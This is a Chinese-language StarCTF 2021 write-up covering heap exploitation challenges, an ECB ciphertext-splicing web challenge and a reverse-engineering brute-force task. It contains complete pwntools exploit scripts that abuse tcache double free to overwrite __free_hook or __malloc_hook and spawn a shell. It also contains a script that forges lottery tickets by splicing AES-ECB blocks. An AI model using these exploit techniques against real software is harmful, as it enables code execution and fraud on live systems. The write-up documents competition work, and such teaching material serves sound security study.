StarCTF2021 Writeup

注意
本文最后更新于 2024-02-12,文中内容可能已过时。

这次比赛是和V&N的大师傅们一起打的,我也学到了好多,比赛期间 + 赛后复现的题目我都会放在这篇文章中。 V&N最后拿了比赛的第六名!! V&N太强啦!!冲冲冲

PWN

babyheap

题目亮点

新版本的glibc 2.27-3ubuntu1.4,保护机制类似于2.29,存在对tcache doube free的检测。

图片

题目代码

主函数

图片

add函数

图片

其中对申请的size做了限制,只能申请在fastbin范围内的size,且要小于0x60。

delete函数

图片

释放之后不能清空指针内容,可以造成double free,也可以配合edit造成UAF。

edit函数

图片

由于free的时候没有清空指针的内容,所以可以造成UAF,但是在写入的时候从第八字节开始写入,以至于无法写入next指针内容,但是可以修改key字段的内容,也就是可以绕过tcache double free的检测。

show函数

图片

可以用于leak

leaveYouName函数

图片

申请了一个0x400 size的chunk,这是在largebin 范围内的size,会触发malloc_consolidate,让fastbin中的内容先进入到unsorted bin中,然后发现申请size不符合,所以又会进入small bin

位置看链接:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3711

题目分析

leak libc

通过malloc_consolidate函数就可以在栈上留一个在main_arena中的指针(在glibc中)。

由于存在show函数,我们直接leak libc。

接下来的操作可以分为两种方法来操作,其中方法二是我比赛的时候想到的方法

方法一(简单明了的方法)

chunk overlapping

由于我们可以让chunk存在于unsorted bin,我们从中分割出一块数据来造成overlapping,虽然我们控制不了前八个字节,但是我们可以利用overlapping来间接控制。

如下表所示:

namesize
chunk a0x21
chunk b0x21
chunk c0x21

例如如上的三块堆块,我们可以直接malloc一个0x41 size的chunk,就可以直接控制到chunk b的全部内容。

hijack __free_hook

由于不能申请size为0x7x的,所以我们没有简单的方法来绕过fastbin 的 size 检测。

但是我们可以利用free没有清空指针的漏洞,在fastbin和tcache中同时存放一个chunk(这个步骤的方法很多,比如可以让counts = 2的tcache指针连续申请三次,让counts = -1,这样就可以让接下来的chunk进入到fastbin中,或者直接free七次都是可以的)。

再通过overlapping来修改到tcahce的next指针,使其指向__free_hook来进一步攻击

方法二(复杂,不推荐)

比赛的时候不知道咋的,所以没想到方法一,用的是另外一种更为复杂的方法,我暂且把他叫做hijack malloc_arena by tcache。实际意义不大,利用过程还有待开发。

利用要求

1.开启tcache机制

2.在有tcahe的key保护的glibc版本下,需要泄露heap_base,如果有leak函数可以通过main_arena->top计算得出

3.tcache的next为main_arena上的一个地址,比如通过doube free,让tcache的next进入到smallbin中。

利用目的

1.可以用来修改main_arena->top

2.house of froce

3.chunk overlapping(可以控制到整个结构)

利用来源

通过leak libc之后,由于tcache堆块也同样进入了smallbin,所以我们tcache的堆块的next就是main_arena上的一个偏移,如下所示:

图片

这个指针指向的small bin的位置,正好是呈现一个不断向上指向的一条链

我们可以使用telescope命令来观察一下这个链表:

图片

可以发现这个链表长度很长一次命令也没有显示完全,所以我们使用了多行代码来操作。

利用分析

通过这个链表,我们可以不断的申请,我们可以申请到很多关键的位置,我们一一来分析。

1.最后的位置0x564f83cd9740

这个位置所指向的正是top chunk的位置,但是由于新版本的各种检测,使得house of force不再那么容易的构造,且这题对申请size有所限制,所以我们这道题不考虑这个方法。

2.倒数第二个位置(main_arena->top)

图片

而这个指针就是储存在main_arena上的top,他指向top chunk的内容,要是在其他题目中,如果我们可以修改这个位置,并且让指针指向**__free_hook - 0xb58**的位置(因为这个位置有个大数字,可以满足top chunk的size),之后通过不断申请,就能够申请到__free_hook的位置。

图片

但是由于这道题无法对前八个字节进行写入,所以这种方法对于这题无效

3.倒数第三个位置,bin[0]

这个位置实际上存放的是unsorted bin的头部指针,但是这里由于unsorted bin没有内容,所以指向了main_arena->top。

但是对于这道题,如果我们要修改的话,只可以修改bin[1]的内容,又由于新版本的各种检测,从而无法利用。

不过我们可以考虑到,如果我们可以让unsortedbin中有一些内容的话,也就是让bin[0]的内容不指向main_arena->top,而是指向unsorted bin堆块的地址的话,那么我们就可以通过此来申请到unsorted bin上的堆块,让这个堆块在unsorted bin和tcache上同时存在。

如下图就是申请到了unsorted bin上堆块的内容,但是由于key的存在,所以size位被清空为0了,所以我们需要修复size位的内容。

图片

修复后再次申请size对应的堆块大小,就可以从unsorted bin中再次申请到这一块可控的堆块了,申请到后再次free,让他进入到tcache链中(所以要求这个size与之前不一致,否则会进入到fastbin中,利用范围就很小了)。

而且我们通过main_arena链表申请到的这个堆块位置是从堆块的结构体开始,也就是就我们只要修改0x10偏移的位置,也就是相当于修改到了tcache 的 next 指针,我们把他修改成__free_hook就可以实现利用

最后还要考虑到main_arena的结构被破坏的问题

代码来源:https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#2952

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->counts[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

由于在新版本的glibc中多了key这个设定,所以加申请到堆块后,这个位置的内容会先被清为0。main_arena上的内容就会被破坏成如下情况,如果使用到,我们之后需要这部分main_arena所管理的堆块,那么要先恢复对应的内容。具体要恢复哪个位置,可以根据调试来判断。

图片

在修复的过程中需要修复bin[1]所指向的unsorted bin指针,而要计算出这个指针需要heap_base和libc_base。不过在我们有tcache的情况下,想要泄露出heap_base是比较容易的;有show函数的话,main_arena上就有大量的地址可以用于leak libc。

EXP

比赛的时候使用的是方法二,所以也只写了方法二的exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.log_level = "debug"
#r = process('./pwn1')
r = remote('52.152.231.198', 8081)
def choice(idx):
    r.sendlineafter(">> ", str(idx))
def add(idx, size):
    choice(1)
    r.sendlineafter("index", str(idx))
    r.sendlineafter("size", str(size))
def delete(idx):
    choice(2)
    r.sendlineafter("index", str(idx))
def edit(idx, content):
    choice(3)
    r.sendlineafter("index", str(idx))
    r.sendafter("content", str(content))
def show(idx):
    choice(4)
    r.sendlineafter("index", str(idx))
def leaveYouName(name):
    choice(5)
    r.sendlineafter("name:", name)

add(0, 0x58)
add(1, 0x58)
add(2, 0x18) #not consolidate top chunk
#double free
delete(0)
edit(0, p64(0)) #key -> 0
delete(0)
#leak heap_base
show(0)
r.recvuntil('\n')
heap_base = u64(r.recvuntil('\n', drop=True)[-6:].ljust(8, '\x00')) - 0x260
log.success("heap_base: " + hex(heap_base))
#size -> 0xff
add(0, 0x58)
add(0, 0x58)
add(0, 0x58)
#chunk to fastbin
delete(0)
delete(1)
#malloc largebin -> malloc_consolidate -> fastbin chunk to unsortedbin -> unsortedbin to smallbin
leaveYouName("wjh")
#leak libc
show(0)
main_arena = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 272
log.success("main_arena: " + hex(main_arena))
malloc_hook_addr = main_arena - 0x10
log.success("malloc_hook_addr: " + hex(malloc_hook_addr))
libc_base = malloc_hook_addr - 0x3ebc30
log.success("libc_base: " + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
log.success("free_hook_addr: " + hex(free_hook_addr))
system_addr = libc_base + 0x4f550
add(0, 0x48) #smallbin -> unsortedbin
add(0, 0x58) #malloc smallbin data in main_arena
add(0, 0x48)
#malloc to bin[0]
for i in range(0xB):
    add(0, 0x58)
#fix data
edit(0, p64(heap_base + 0x2f0) + p64(main_arena + 112) + p64(main_arena + 112))
#malloc to unsorted bin data
add(5, 0x58)
edit(5, p64(0x21)) #fix size
#malloc chunk from unsortedbin
add(6, 0x18)
delete(6) #into tcache
#hijack tcache->next
edit(5, p64(0x21) + p64(free_hook_addr - 0x8))
add(0, 0x18)
add(8, 0x18) #get __free_hook
edit(8, p64(system_addr))
edit(5, p64(0x21) + '/bin/sh\x00')
#getshell
delete(0)
r.interactive()

获得flag

图片

baby_game

感谢publicqi和cnitlrt两位师傅对我赛后复现提供的帮助。

盲测可以测出在两次都进入同一张图的情况下,会出现tcahce double free

通过Message功能可以leak libc。

通过控制c++的string长度来申请到0x61 size的堆块,从而利用tcache doube free来修改next指针到**__malloc_hook**,修改为one_gadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
libc = ELF('./libc.so.6')
#r = process('./pwn')
r = remote('52.152.231.198', 8082)
def add(data):
    r.sendline("q")
    r.sendline("y")
    r.sendline(data)
    r.sendline("y")
r.sendline("1")
r.sendline("1")
r.sendline("q")
r.sendline("n")
r.sendline("y")
#leak libc
r.sendline("l")
malloc_hook_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 96 - 0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
one = [0x4f365, 0x4f3c2, 0x10a45c]
one_gadget = libc_base + one[1]
log.success("libc_base: " + hex(libc_base))
add('a' * 0x50)
add(p64(malloc_hook_addr) + 'b' * 0x48)
add('c' * 0x50)
add(p64(one_gadget) + 'd' * 0x48)
r.interactive()

个人感觉这道题的主要关键就是fuzz,直接分析代码是很难找到漏洞的,毕竟是C++的代码而且没有符号信息。

Web

lottery again

下载源码,并找到以下重点内容:

图片

分析函数可以发现在兑换彩票的时候,会对彩票密文进行解码,通过解码得到的彩票lottery内容从数据库中找到对应数据,取得可兑换的coin数量,并把coin加到解码得到的user账号的硬币中。

分析代码可知,从密文中取得的user账号没有与在数据库中的信息进行验证,故如果我们可以篡改密文中对应的user信息,那么就可以让a用户购买的彩票,给b用户使用,从而让b用户达到白嫖的目的。

那如何来修改密文呢?观察到一下加密代码:

1
$enc = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB));

发现对彩票数据的加密是通过ECB模式进行加密,并且从加密方式MCRYPT_RIJNDAEL_256,可以得知加密分块是以0x20字节为一段的,而ECB模式可以确保在每一段之间的内容相互独立互不干扰,在这样的前提下,我们可以尝试替换储存在其中的user数据。 以下来逐步分析如何替换全部user-uuid信息

我们已有的密文数据是:

1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
11-1111-1111-1111-111111111111",
"coin":1}

1
2
3
4
{"lottery":"demodemo-demo-demo-d
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}

如下为一个加密数据的明文内容,每一行的长度为0x20(除最后一行外)

1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
11-1111-1111-1111-111111111111",
"coin":1}

我们想要把其替换为

1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}

也就是把user信息都从1替换成2 但是我们只可以替换其中的任何一个一行的内容,才不会造成解密错误。

于是我们自然可以考虑替换第三行的内容,其标志着该彩票购买者的部分uuid信息。

但是由于只是部分uuid信息,所以即使替换了也是如下情况:

1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
22-2222-2222-2222-222222222222",
"coin":1}

其user信息中的前六个字节无法被替换,由于六字节内容过长,不适合用爆破的方法来绕过。 但是如果我们考虑要把前六字节的信息也要替换的话,那么必须同时替换那一行的全部内容,也就是就会变成以下情况:

1
2
3
4
{"lottery":"b52d5239-24a5-4627-b
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}

也就是会造成lottery信息被替换,这会造成该彩票无法从数据库中读取到,直接报错。 最终考虑到以下构造:

1
2
3
4
5
{"lottery":"b52d5239-24a5-4627-b
a46-58a00645c3e4","user":"111111
emo-demodemodemo","user":"222222
22-2222-2222-2222-222222222222",
"coin":1}

由于在php在json_decode的时候,后面的user会覆盖前面的user,也就是正确的user可以覆盖错误的user,成功修改user信息。 其他部分就是,需要注册、登录、购买、彩票、兑换彩票,可以写个脚本使其自动化。

代码中的target为最终要用于购买flag的账号的一个彩票密文数据。

代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import json
import base64
url = "http://52.149.144.45:8080"
req = requests.session()
def getheaders():
    return {"Cookie" : "api_token=" + token}
def reg(user, pwd):
    text = req.post(url + "/user/register", data={"username": user, "password": pwd}).text
    data = json.loads(text)
    return data
def login(user, pwd):
    text = req.post(url + "/user/login", data={"username": user, "password": pwd}).text
    data = json.loads(text)
    return data
def buy(token):
    text = req.post(url + "/lottery/buy", data={"api_token": token}).text
    data = json.loads(text)
    return data
def hijack(enc, enc2):
    enc = base64.b64decode(enc)
    enc2 = base64.b64decode(enc2)
    return enc[:0x40] + enc2[0x20:0x60] + enc[0x60:]
def getInfo(enc):
    text = req.post(url + "/lottery/info", data={"enc": enc}).text
    data = json.loads(text)
    return data
def charge(user, coin, enc):
    text = req.post(url + "/lottery/charge", data={"user": user, "enc" : enc, "coin" : coin}).text
    data = json.loads(text)
    return data
target = 'GyXkfQYW9eaX6pLjjXj40HxYWzD7/wbbu6LB8hKIgHzspmlNP0zCwC07w6uK7rCLP2MvVoq8P2oXt+OoD1NY2Ba5J5Hs1AiZkdxBRIrTSq9H8y2BmPiCmO6fH2d9eJW+rk8BfTg14RVjLwF1pW5cSqW2FXVyWb0j5c8edRkKKGE='
uuid = getInfo(target)['info']['user']
for i in range(1000):
    reg_data = reg('wjhflag' + str(i), '123456')
    login_data = login('wjhflag' + str(i), '123456')
    token = login_data['user']['api_token']
    for i in range(3):
        buy_data = buy(token)
        enc = buy_data['enc']
        fake_enc = base64.b64encode(hijack(enc, target))
        data = charge(uuid, 0, fake_enc)
        print(data)

Re

stream

图片

图上为主要逻辑,从第4位开始,每次位数+7并生成随机数异或,但随机数种子是根据flag而得到的,而逐位爆破可能存在多解的情况,最后通过dfs对所有情况进行探路,若最后无法得到结果则剪枝。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
import string
with open("./output.bak", 'rb') as f:
    cmpbuf = f.read()
flen = len(cmpbuf)
flagchr = string.digits + string.ascii_letters + "{}*"
kflag = ['0' for i in range(0, len(cmpbuf))]
print("".join(kflag))
p = 4
choice = []
for i in range(flen):
    choice.append(p)
    p = (p + 7) % flen
def getSec(flag):
    with open('./flag', 'w') as w:
        w.write("".join(flag))
    os.system('./a')
    with open("./output", 'rb') as f:
        buf = f.read()
    return buf
def dfs(t):
    if t == flen:
        print("flag: " + ''.join(kflag))
        exit()
    pos = choice[t]
    for ch in flagchr:
        kflag[pos] = ch
        buf = getSec(kflag)
        if buf[pos] == cmpbuf[pos]:
            print(''.join(kflag))
            dfs(t + 1)
dfs(0)

跑脚本得出flag *flag: ctf{EbXZCOD56vEHNSofFvRHG7XtgFJXcUXUGnaaaaaa}

BlockChain

StArNDBOX

我一定要学会抄作业!!!

0%